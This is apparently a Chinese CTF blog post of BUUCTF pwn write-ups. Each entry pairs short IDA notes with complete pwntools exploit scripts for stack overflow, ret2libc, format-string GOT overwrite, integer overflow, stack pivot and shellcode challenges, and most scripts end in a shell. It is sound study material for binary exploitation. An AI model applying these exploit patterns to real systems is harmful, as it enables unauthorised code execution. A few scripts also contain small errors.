buu rip 知识补充:pwn远程的时候遇到 timeout: the monitored command dumped core 怎么办_
照例一波
啥也没开,直接IDA
有/bin/sh,记录覆盖地址,接着跟进main
栈溢出
15+8=23
exp
1 2 3 4 5 from pwn import *p=remote("node4.buuoj.cn" ,25720 ) payload = b'a' *23 +p64(0x401185 )+p64(0x401186 ) p.sendline(payload) p.interactive()
csaw2016 照例
啥也没开估计也是栈溢出,IDA
栈溢出
40+8=48
接下来没发现/bin/sh,但是有这个
同样可以返回它的地址拿shell,然后它找到压栈的地址
exp
1 2 3 4 5 6 from pwn import *p=remote("node4.buuoj.cn" ,29116 ) sys=0x400611 payload = 'a' *0x48 +p64(sys) p.sendline(payload) p.interactive()
ciscn2019 照例
说值应该是11.28125,输了后也没啥事
IDA
栈溢出,用v1的值覆盖v2
v1与v2之间为0x30-0x4,先填满,然后再直接打11.28125的地址就行了。因为返回的值为11.28125,在IDA里以十六进制储存。就是0x41348000
1 2 3 4 5 6 from pwn import *p=remote("node4.buuoj.cn" ,25804 ) sys=0x41348000 payload = 'a' *(0x30 -0x4 )+p64(sys) p.sendline(payload) p.interactive()
sctf2016 照例
IDA
虽然fgets那里有规定输入长度32,但是发现strcpy,存在栈溢出,不过大致看了一会儿并不会,看wp
得知这一串内容是让“you”代替“I”,意思是只要“you”的值覆盖掉输入“I”的长度即可,而“you”是3个字符,满足32就用20个“I”然后就变成60个字符造成溢出,再然后加上最后的4
接下来找到后门
exp
1 2 3 4 5 6 from pwn import *p=remote("node4.buuoj.cn" ,25454 ) sys=0x08048f0d payload = b'I' *20 +b'a' *4 +p64(sys) p.sendline(payload) p.interactive()
ciscn2019_c_1 wp参考: BUUCTF——ciscn_2019_c_1_
ciscn_2019_c_1 | LiuLian (liul14n.top)
照例
IDA
跟进encrypt
gets里可以利用溢出,但是跟进不了v2是因为程序会对我们输入的字符串v2进行一系列异或操作。
再看到下面的++x;
,然后也可以推测出x的初始值为0。
这也就是说,只有当我们输入的字符串的长度大于x的值的时候,才会执行这一系列异或操作。
所以如果我们输入两次长度相等的字符串,那么只会对第一次输入的字符串进行异或。
然后这题没有system,就是ret2libc的题型
由于是64位程序传参先找到rdi
1 ROPgadget --binary ciscn2019c1 --only "pop|ret" | grep rdi
然后由于Ubuntu18运行机制与前面版本的不同,因此调用system需要栈对齐,这里填充ret来对齐
1 ROPgadget --binary ciscn2019c1 |grep ret
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import LibcSearcherr=remote('node4.buuoj.cn' ,25488 ) elf=ELF('./ciscn2019c1' ) rdi=0x400c83 main = 0x400b28 ret=0x4006b9 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] r.sendlineafter('choice!\n' ,'1' ) payload='\0' +'a' *(0x50 -1 +8 )+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) r.sendlineafter('encrypted\n' ,payload) r.recvline() r.recvline() puts_addr=u64(r.recvuntil('\n' )[:-1 ].ljust(8 ,'\0' )) print hex (puts_addr)libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) binsh=offset+libc.dump('str_bin_sh' ) system=offset+libc.dump('system' ) r.sendlineafter('choice!\n' ,'1' ) payload='\0' +'a' *(0x50 -1 +8 )+p64(ret)+p64(rdi)+p64(binsh)+p64(system) r.sendlineafter('encrypted\n' ,payload) r.interactive()
PWN5 照例
IDA
格式化字符串漏洞,根据if语句分析要改写unk_804C044之中的数据,然后输入数据对比atoi就行。
跟进
记录下地址
测偏移量
数一下是10,又知道长度是4个字节,那么任意写就可表示为
1 %10$hhn %11$hhn %12$hhn %13$hhn
然后前边加上任写的地址就行
exp
1 2 3 4 5 6 7 8 from pwn import *r=remote('node4.buuoj.cn' ,26137 ) addr = 0x0804C044 payload= p32(addr)+p32(addr+1 )+p32(addr+2 )+p32(addr+3 )+"%10$hhn%11$hhn%12$hhn%13$hhn" r.sendline(payload) r.interactive()
思路二: 第五空间2019 决赛]PWN5 (jianshu.com)
用fmtstr构造更快,思路是利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得到shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *r=remote('node4.buuoj.cn' ,26137 ) elf=ELF('./pwn' ) atoi_got=elf.got['atoi' ] system_plt=elf.plt['system' ] payload=fmtstr_payload(10 ,{atoi_got:system_plt}) r.sendline(payload) r.interactive()
babyrop 32位ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,28218 ) elf=ELF('./pwn01' ) write_plt=elf.plt['write' ] read_got=elf.got['read' ] read_plt=elf.plt['read' ] main_addr=0x8048825 payload1='\x00' +'a' *6 +'\xff' r.sendline(payload1) r.recvuntil('Correct\n' ) payload='a' *0xe7 +'b' *0x4 +p32(write_plt)+p32(main_addr)+p32(1 )+p32(read_got)+p32(4 ) r.sendline(payload) read_addr=u32(r.recv(4 )) print('[+]read_addr: ' ,hex (read_addr)) libc=LibcSearcher('read' ,read_addr) libc_base=read_addr-libc.dump('read' ) system_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) r.sendline(payload1) r.recvuntil('Correct\n' ) payload='a' *0xe7 +'b' *0x4 payload+=p32(system_addr)*2 +p32(bin_sh_addr) r.sendline(payload) r.interactive()
ciscn2019n8 保护全开,IDA
简单易懂,令var[13]=17就行
知识补充:qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它是word的四倍,8字节
1 2 3 4 5 6 7 from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,29558 ) payload=b"aaaa" *13 +p32(17 ) r.sendline(payload) r.interactive()
level2 遇到timeout了,再加一遍地址
1 2 3 4 5 6 7 from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,26843 ) payload=b"a" *140 +p32(0x08048320 )+p32(0x08048320 )+p32(0x0804A024 ) r.sendlineafter("Input:" ,payload) r.interactive()
get_started_3dsctf_2016 wp参考:[(9条消息) BUUCTF]PWN11——get_started_3dsctf_2016_mcmuyanga的博客-CSDN博客_get_started_3dsctf_2016
这题的主要方法就是利用ret持续控制程序
知识补充:
mprotect()函数:把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
not_the_same_3dsctf_2016 wp参考:not_the_same_3dsctf_2016来自BUUCTF - Mua_Uncle_W - 博客园 (cnblogs.com)
知识补充:fopen,fgets函数,用fopen将flag.txt文件读取,fgets存放到f14g里面
跟进可知他在.bss段
可以作为覆盖地址
垃圾数据填充 get_secret函数的地址 write函数的地址 fl4g变量的位置 最后是write函数的参数
1 2 3 4 5 6 7 8 9 from pwn import *from LibcSearcher import *r=remote("node4.buuoj.cn" ,26002 ) elf=ELF('./same' ) flag_add=0x080ECA2D get_secret=0x080489a0 payload='a' *0x2D +p32(get_secret)+p32(elf.symbols['write' ])+p32(flag_add)+p32(0 )+p32(flag_add)+p32(45 ) r.sendline(payload) r.interactive()
ciscn_2019_n_5 .bss段上name可利用为/bin/sh
然后就是简单的栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote('node4.buuoj.cn' ,28304 ) context(arch='amd64' ,os='linux' ) shellcode=asm(shellcraft.sh()) r.sendlineafter('tell me your name' ,shellcode) payload='a' *0x28 +p64(0x601080 ) r.sendlineafter('What do you want to say to me?' ,payload) r.interactive()
others_shellcode IDA发现是getshell利用shellcode,直接nc
ciscn_2019_ne_5 ‘sh’也可以拿shell,不一定是/bin/sh
ROPgadget查字符串
1 ROPgadget --binary ciscn2019ne5 --string 'sh'
然后IDA,主函数是一堆选项
意思是最后是要退回到GetFlag里执行栈。
跟进GetFlag有strcpy函数,栈溢出。分别跟进dest和src
所以在shell前加8字节才能覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *r=remote('node4.buuoj.cn' ,29146 ) r.recvuntil("Please input admin password:" ) r.sendline( "administrator" ) r.recvuntil("0.Exit\n:" ) r.sendline("1" ) sys=0x080484d0 sh=0x080482ea payload='a' *76 +p32(sys)+'aaaa' +p32(sh) r.recvuntil("Please input new log info:" ) r.sendline(payload) r.recvuntil('0.Exit\n:' ) r.sendline('4' ) r.interactive()
bjdctf_2020_babyrop 64位简简单单的ret2libc,直接套模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,27518 ) elf=ELF('./bjdbabyrop' ) main=elf.sym['main' ] puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_rdi=0x400733 payload='a' *(0x20 +8 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) r.recvuntil('Pull up your sword and tell me u story!' ) r.sendline(payload) r.recv() puts_addr=u64(r.recv(6 ).ljust(8 ,'\x00' )) libc=LibcSearcher('puts' ,puts_addr) offset=puts_addr-libc.dump('puts' ) system=offset+libc.dump('system' ) bin_sh=offset+libc.dump('str_bin_sh' ) payload='a' *(0x20 +8 )+p64(pop_rdi)+p64(bin_sh)+p64(system) r.recvuntil('Pull up your sword and tell me u story!' ) r.sendline(payload) r.interactive()
pwn2_sctf_2016 wp参考:[BUUCFT]PWN——pwn2_sctf_2016 - Angel-Yan - 博客园 (cnblogs.com)
查
IDA
发现溢出点
跟进atoi,发现整数溢出
unsigned int,int等都可以利用整数溢出实现缓冲区溢出攻击。输入负数,绕过长度限制,造成溢出
没system,用ret2libc打,换printf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn' ,26337 ) elf=ELF('./pwn2sctf' ) printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] main=elf.sym['main' ] r.recvuntil('How many bytes do you want me to read? ' ) r.sendline('-1' ) r.recvuntil('\n' ) payload='a' *(0x2c +4 )+p32(printf_plt)+p32(main)+p32(printf_got) r.sendline(payload) r.recvuntil('\n' ) printf_addr=u32(r.recv(4 )) libc=LibcSearcher('printf' ,printf_addr) offset=printf_addr-libc.dump('printf' ) system=offset+libc.dump('system' ) bin_sh=offset+libc.dump('str_bin_sh' ) r.recvuntil('How many bytes do you want me to read? ' ) r.sendline('-1' ) r.recvuntil('\n' ) payload='a' *(0x2c +4 )+p32(system)+p32(main)+p32(bin_sh) r.sendline(payload) r.interactive()
jarvisoj_fm 先查
IDA
标准最简单的格式化字符串
经典测偏移
11
1 2 3 4 5 6 7 from pwn import *r=remote("node4.buuoj.cn" ,26189 ) x_addr=0x0804a02c payload=p32(x_addr)+'%11$n' r.send(payload) r.interactive()
bjdctf_2020_babystack2 标准的简单整数溢出
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote("node4.buuoj.cn" ,29824 ) r.recvuntil('[+]Please input the length of your name:' ) r.sendline('-1' ) backdoor=0x400726 payload='a' *24 +p64(backdoor) r.sendline(payload) r.interactive()
baby_rop2 wp参考:[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2 - Angel-Yan - 博客园 (cnblogs.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote('node3.buuoj.cn' ,28485 ) elf = ELF('babyrop2' ) pop_rdi = 0x0000000000400733 pop_rsi_r15 = 0x0000000000400731 format_str = 0x0000000000400770 ret_addr = 0x0000000000400734 printf_plt = elf.plt['printf' ] read_got = elf.got['read' ] main_plt = elf.sym['main' ] payload = 'a' *0x28 +p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(main_plt) p.recvuntil("name? " ) p.sendline(payload) read_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) print hex (read_addr)libc = LibcSearcher('read' , read_addr) libc_base = read_addr - libc.dump('read' ) sys_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = 'a' *0x28 +p64(pop_rdi)+p64(bin_sh)+p64(sys_addr) p.sendline(payload) p.interactive()
ciscn_2019_es_2 知识补充:栈迁移 - SkYe Wiki (mrskye.cn)
wp参考:pwn-ciscn_2019_es_2(栈迁移) - remon535 - 博客园 (cnblogs.com)
ciscn_2019_es_2 - mio_yy - 博客园 (cnblogs.com)
栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
leave=mov esp,ebp
pop ebp
ret=pop eip
查
IDA跟进vul发现溢出点
溢出的空间不足。read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret。使用栈迁移解决栈空间不足的问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *context.log_level='debug' p=process('./ciscn_2019_es_2' ) elf=ELF('ciscn_2019_es_2' ) sys_plt=0x8048400 leave_ret=0x8048562 py='a' *0x27 p.sendlineafter('name?\n' ,py) p.recvuntil('\n' ) ebp=u32(p.recv(4 )) payload='a' *4 +p32(sys_plt)+p32(0 )+p32(ebp-0x28 )+'/bin/sh' payload=payload.ljust(0x28 ,'\0' ) payload+=p32(ebp-0x38 )+p32(leave_ret) p.sendlineafter('\n' ,payload) p.interactive()
jarvisoj_tell_me_something 有fopen函数,相当于backdoor
1 2 3 4 5 6 7 8 from pwn import *p = remote('node4.buuoj.cn' , 29850 ) sh = 0x0400620 payload = 'a' *0x88 + p64(sh) p.recvuntil("message:" ) p.sendline(payload) p.interactive()
ez_pz_hackover_2016 法一:peta调试。wp参考(13条消息) ez_pz_hackover_2016_沫忆末忆的博客-CSDN博客_ez_pz_hackover_2016
查
NX也没开,第一时间想到用ret2shellcode打,运行看
IDA里跟进chall,是主结构
没后门,保护全关,确定ret2shellcode。看代码得知,先打印出的来的地址是s的缓冲区地址,接收一个大小不超过1023字节的输入到s缓冲区,然后将缓冲区里换行符后面的内容全部置为0,最后将缓冲区内容与”crashme”这个字符串作比较,如果相同就会进入到vuln函数(这里很明显s是无法溢出的)
memcpy函数,将第一个参数长度的内容复制到dest
所以。因为输入到s缓冲区的内容长度不够,无法实现溢出,利用vuln函数就可以把构造好的shellcode放入到栈中进行执行,要执行shellcode则要知道shellcode的地址,而chall函数在执行时就已经把s缓冲区的地址打印出来,最后计算s缓冲区和shellcode地址的相对偏移量,动调计算偏移就会得到shellcode的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.log_level = 'debug' p = remote('node4.buuoj.cn' , 29966 ) shellcode = asm(shellcraft.sh()) p.recvuntil('lets crash: ' ) stack_addr = int (p.recv(10 ), 16 ) shellcode_addr = stack_addr-28 payload = 'crashme\x00' .ljust(26 ,"\x00" )+p32(shellcode_addr)+shellcode p.sendlineafter("> " ,payload) p.interactive()
法二:pwndbg调试。wp参考BUUCTF]PWN——ez_pz_hackover_2016 - Angel-Yan - 博客园 (cnblogs.com)
利用思路也是往s参数里写入shellcode,执行vuln函数后让dest造成溢出,将返回地址修改为shellcode的地址去执行
接下来动调,找vuln函数里一个nop下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p=process('./ez_pz_hackover_2016' ) context.log_level='debug' gdb.attach(p,'b *0x8048600' ) p.recvuntil('crash: ' ) stack=int (p.recv(10 ),16 ) print(hex (stack)) payload='crashme\x00' +'aaaa' p.sendline(payload) pause()
执行脚本,c执行到断点处,查看栈的布局情况 stack 30
ebp位置:0x38
返回地址是ebp下面即:0x3c(刚好是0x38+4)
输入参数的位置:0x22(看的到”ashme”,“cr”在前面,它们的ascii码是63和72,72 63分别对应0x23,0x22,后两位依次是0x21,0x20)
所以ebp是距离输入点的0x38-0x22=0x16,shellcode位置写在他之后即0x16+4=0x1a(32位下ebp占4字节)
最后找shellcode导向的地址就行了!
首先,调试输出来的地址就是s的地址,保存在了stack变量中
而shellcode要导向的地址,也就是栈溢出覆盖后返回地址的下面,所以shellcode是0xffa28110,那么shellcode的地址在0xffa28110也就是s上面即 0xffa2812c-0xffa28110=0x1c的位置,即address=stack-0x1c。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *r=process('./ez_pz_hackover_2016' ) context.log_level='debug' r.recvuntil('crash: ' ) stack=int (r.recv(r10),16 ) shellcode=asm(shellcraft.sh()) payload='crashme\x00' +'a' *(0x16 -8 +4 )+p32(stack-0x1c )+shellcode r.sendline(payload) r.interactive()
ctfhub